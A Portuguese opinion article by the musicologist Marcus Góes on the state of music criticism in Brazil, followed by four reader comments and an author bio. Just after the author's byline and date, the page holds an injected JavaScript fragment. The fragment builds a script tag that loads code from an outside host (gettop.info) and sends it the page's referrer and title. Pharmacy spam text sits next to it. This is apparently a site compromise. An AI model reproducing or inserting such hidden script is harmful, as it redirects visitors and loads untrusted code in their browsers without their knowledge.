Artigo

A crítica, os críticos, os “críticos”, o público e os leigos

É muito difícil, incômodo e por vezes até penoso criticar obras de arte.

Em todo lugar, a definição do que seja um crítico não é nem de longe entendida pela imensa maioria do público fruidor e associados, aqui compreendidos os que pensam que ver ou ouvir muitos quadros, ballets, sinfonias, óperas e ler muitos livros os tornam grandes entendidos e até “críticos”.

Na área musical, a tragicomédia chega às lindes do circense. Há no Brasil dezenas de “críticos” que não sabem o que é uma quiáltera, um gruppetto, uma tonalidade relativa, e que nunca viram uma partitura. Há muitos que pensam que um si bemol é igual a um lá sustenido, que um regente de orquestra, tratado sempre como “maestro”, rege muito bem porque gesticula muito, bate o ritmo com o pé e pede “piano” com o dedinho na boca como quem pede silêncio, que um tenor é muito bom porque tem agudos fáceis, e por aí.

A primeira exigência para que alguém possa apelidar-se “crítico musical” é saber música. Não que nem um Schumann (famoso como crítico) ou um Hanslick, mas ao menos saber contar tempos, saber ler uma linha melódica simples. A segunda exigência, esta talvez mais fundamental,é conhecer a partitura da obra criticada, no caso de missas, oratórios, cantatas, canções e óperas CONHECENDO AS PALAVRAS. Como poderá alguém escrever uma crítica sobre a música em cima de  “Herz und Mund und Tat und Leben” (1) , de “La voisine est un peu müre” (2) ou de “Innafia l´ugola”(3) sem ter a menor noção do signifiado das palavras?

Pianistas, bailarinos, cantores, quase sempre simplificam uma escala, um tremolo, um arabesque, uma subida a um superagudo. No último IL TROVATORE do TMRJ, o soprano Laura de Souza, em vez de atacar de cara um dó superagudo seco escrito por Verdi, colocou antes dele uma nota mais baixa não escrita para facilitar um portamento que descaracteriza o difícil dó.  A cantora Eliane Coelho, em recente NABUCCO, cansou de partir ao meio escalas e outros que tais para subir com extrema dificuldade aos muitos dós superagudos da partitura.

O público não conhece esses detalhes e cabe ao crítico comentá-los, em tarefa muitas vezes antipática. Um internauta em mensagem alegou ter gostado muito de tal soprano, que, ao ver deste que escreve, atuou pessimamente. Quem terá sido mais feliz, o internauta que saiu satisfeito do teatro ou o crítico que ficou procurando os senões e apontando erros e subterfúgios?

Os artistas atuam para o público e não para os críticos. No entanto, é no que escreve um crítico que ele artista sabe que entende do  riscado que ele vai conferir sua atuação. Não é nas palmas do público que está o julgamento técnico-teórico, de muito maior valor artístico. Qual o artista performer que não recorta e guarda críticas publicadas a seu respeito? Alguns até respondem ofendidos. E os trêfegos fãs dirigem ofensas de amador a quem ousou não elogiar seus preferidos.

Reconheça-se ao espectador leigo o direito inteiramente livre de gostar ou não gostar dos espetáculos. Alguns batem palmas a mais não poder. Outros dormem pacificamente enquanto Nijinsky vira o espectro de uma rosa…

Por outro lado,valorize-se o julgamento de um crítico que realmente  conheça a música principalmente em sua área de interpretação diante do público.Valioso é um crítico que aponta senões, que elogia, que exalta ou deprecia, sempre baseado no verdadeiro conhecimento da partitura, das notas, das maiores dificuldades, do estilo, da propriedade, da dicção e pronúncia, da posição no palco, da expressão corporal, da expressão dramática.

Depois do aparecimento da Internet, houve uma desenfreada inflação de “críticos musicais” no Brasil. O desfile de opiniões, quase sempre baseadas no “gostei” ou “não gostei”, é ao menos divertido, quando não é melancólico.

Enfim, nunca se viu uma estátua de crítico, como disse G. B. Shaw. Os críticos? Pobres criaturas que se preocupam com o que eu vou almoçar amanhã, disse Victorien Sardou…

1 – CANTATA 147 DE BACH;
2 – TRECHO DO “FAUSTO”DE GOUNOD;
3 – TRECHO DO “OTELLO”, DE VERDI.
LES CIEUX POUR NOUS ENTR´OUVRAIENT LEURS NUES..
MARCUS GÓES- JANEIRO 2012s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’); vibramycin online pharmacy

4 Comments

  1. É isso aí, meu caro Marcus! Quem conhece música verdadeiramente, não aplaude o que vimos nesses últimos anos em nossos teatros de ópera. Cantores abraçando qualquer personagem, sem a mínima condição de encará-los, maestros se fazendo de cegos ao verem os intérpretes penando nos papéis, anulando passagens de real bravura vocal, simplificando tudo a bel prazer e outras barbaridades cênicas totalmente inadequadas e que descaracterizam totalmente a ópera, bem como cenários que não são cenários em lugar nenhum do mundo. Só aqui mesmo no Brasil, não é mesmo? Saudosa temporadas líricas de São Paulo e do Rio de Janeiro !.

  2. Parabéns pelo texto, extremamente nítido e sucinto! O papel do crítico, no Brasil, é, em sua maioria, mal interpretado e algumas vezes banalizado, o que só conduz ao fracasso, tanto para o público como para os supostos entendidos no assunto. Que se valorize o conhecimento!

  3. Meu caro Marcus: ainda não recebi o seu livro sobre o centenário do Municipal carioca. Já lhe enviei meus dados, não se esqueça de mim. Abraço do Marco A. Seta.

  4. Disseste bem, senhor Marcus Góes. O artista canta para o público. Lida com emoções. Basta que uma pessoa saia do teatro melhor do que entrou e a noite estará ganha. Música nao se faz somente com colcheias e mínimas exatas, como estão escritas, mas também com musicalidade, fraseio e interpretação. São coisas subjetivas, é claro, mas são coisas que muitas vezes são ignoradas pelo crítico, que, mesmo podendo ser um “especialista”, nao raro é um músico ou um cantor frustrado e até parcial. Confio mais na historia que diz que Callas, feia ou bonita, cantando afinada ou não, foi uma das maiores, senão a maior cantora de ópera de todos os tempos, do que em um Maestro ou crítico que não gostava da cor da sua voz, das suas quiálteras ou da sua vida pessoal.

    Sim, muitas vezes o crítico nao é imparcial e isto é o que incomoda muito aos artistas que estão ali na frente, jogados aos leões, encarando de corpo e alma uma obra. Uma crítica, boa ou não, deixa de ter valor quando se torna chula e ofensiva de uma forma gratuita. O leitor da crítica não tem obrigação de saber, mas muitas vezes o crítico mistura tudo e pincela nas suas palavras rixas, pequenezas e até inveja, porque certos cantores fazem ou fizeram mais sucesso e melhor carreira que outros. Não preciso dar nome aos bois. Fico apenas triste por tudo isso. A crítica é válida? Claro que sim, mas somente se for completamente imparcial e abranger todos os aspectos que fazem de um músico um artista e não simplesmente um repetidor de notas. Depois de quase 25 anos de carreira, eu tenho a impressão de que tenho um pouco de autoridade para escrever sobre estas coisas.
    Agradeço a oportunidade de expor meus pensamentos.

    Juremir Vieira

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.